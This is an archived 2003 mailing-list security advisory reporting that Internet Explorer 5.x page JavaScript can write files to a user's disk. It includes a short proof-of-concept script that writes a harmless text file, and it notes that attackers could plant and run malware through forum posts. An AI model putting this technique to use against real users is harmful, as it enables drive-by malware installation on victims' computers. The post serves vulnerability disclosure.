Internet Explorer JavaScript insecure function

From: FREEBRAIN (freebrain_at_unionnewbies.net)
Date: 12/07/03

  • Next message: Devrat Mittal: "locating default signal handler for SIGSEGV" 
    To: vuln-dev@securityfocus.com
Date: Sun, 07 Dec 2003 15:56:57 +0100

    * Internet Explorer JavaScript insecure function *

    Product: Microsoft Internet Explorer
    Version: 5.x (probabily other versions may be affected)

    ***

    Problem:

    I discovered a javascript function (interpreted by Internet Explorer) called
    "file.writeline()" may be
    potentially dangerous for Internet Explorer users. This function allows to
    write files by means of
    JavaScript on a hard disk.

    An attacker may use this function writting JavaScript code in posts of
    forums, guestbooks, etc for owning
    his victim's computers. With "file.writeline()" function the attacker can
    write trojans/virus/etc on his
    victim's hard disks, for example, an attacker may use JavaScript
    "file.writeline()" function for writting
    a malicious file in VBS (Visual Basic Scripting) language.

    I repeat, this may be potentially dangerous for Internet Explorer users.

    NOTE: Actually a virus in the wild that affects to mIRC users is using this
    function ("file.writeline").

    NOTE2: As you can see on the "Proof of concept", other functions are needed
    to carry out an "intrusion".

    ***

    Proof of concept:

    InterfaceObject=document.applets[0];
    setTimeout("Write()",1000);
    function Write() {
    fsoClassID="{0D43FE01-F093-11CF-8940-00A0C9054228}";
    InterfaceObject.setCLSID(fsoClassID);
    fso = InterfaceObject.createInstance();
    // windir = fso.getspecialfolder ;
    filename = "\\proof.txt";
    var filecontent = "Hello world";
    file = fso.opentextfile(filename, "2", "TRUE");
    file.writeline(filecontent)
    file.close();

    }

    This code writes a file called "proof.txt" in the hard disk, with the
    content "Hello world". Also you can
    execute files you write by means of JavaScript adding "Run();" to the
    function.

    ***

    Solution:

    I'm not sure about the solution but I recommend to upgrade to the last
    version of Internet Explorer.
    Also I recommend webmasters to forbid HTML codes that content this function
    in their forums, guestbooks, etc.

    ***

    Thanks to:

    #disidents,#hackers,#hacker @ irc-phoenix.org

    #disidents,#sleepx,#ayuda_internet @ irc-hispano.org

    Special thanks go to: Impos, |_Tr0mP4s

    (sorry my poor english)

    ***

    By FREEBRAIN

    FREEBRAIN is a member of DisidentS Hacker Team

    http://disidents-team.cjb.net (under construction) -
    http://www.gratisweb.com/disidents

    <freebrain@unionnewbies.net> ( www.unionnewbies.net )

  • Next message: Devrat Mittal: "locating default signal handler for SIGSEGV"

    Relevant Pages

    • Re: Internet Explorer JavaScript insecure function
      ... could u please post an html? ... F> I discovered a javascript function called ... F> potentially dangerous for Internet Explorer users. ... With "file.writeline" function the attacker can ...
      (Vuln-Dev)
    • [Full-Disclosure] Internet Explorer JavaScript insecure function
      ... Product: Microsoft Internet Explorer ... I discovered a javascript function called "file.writeline" may be ... An attacker may use this function writting JavaScript code in posts of forums, guestbooks, etc for owning ... this may be potentially dangerous for Internet Explorer users. ...
      (Full-Disclosure)
    • RE: Internet Explorer JavaScript insecure function
      ... Product: Microsoft Internet Explorer ... I discovered a javascript function called ... With "file.writeline" function the attacker can ... this may be potentially dangerous for Internet Explorer users. ...
      (Vuln-Dev)
    • Re: Generated javascript from .pl files
      ... I'm trying to use some javascript code in Internet Explorer 6.0 that's ... being generated by a Perl file. ... Wrong MIME type, despite what the type attribute would seem to imply. ...
      (comp.lang.javascript)
    • Re: Service Pack 2, file:///C:/index.htm Javascript blocked disabled
      ... 2004 Windows MVP "Winny" Award ... "Richard Martino" wrote in message ... > Exit out of Internet Explorer and restart it. ... run JavaScript on it all the time. ...
      (microsoft.public.windowsxp.general)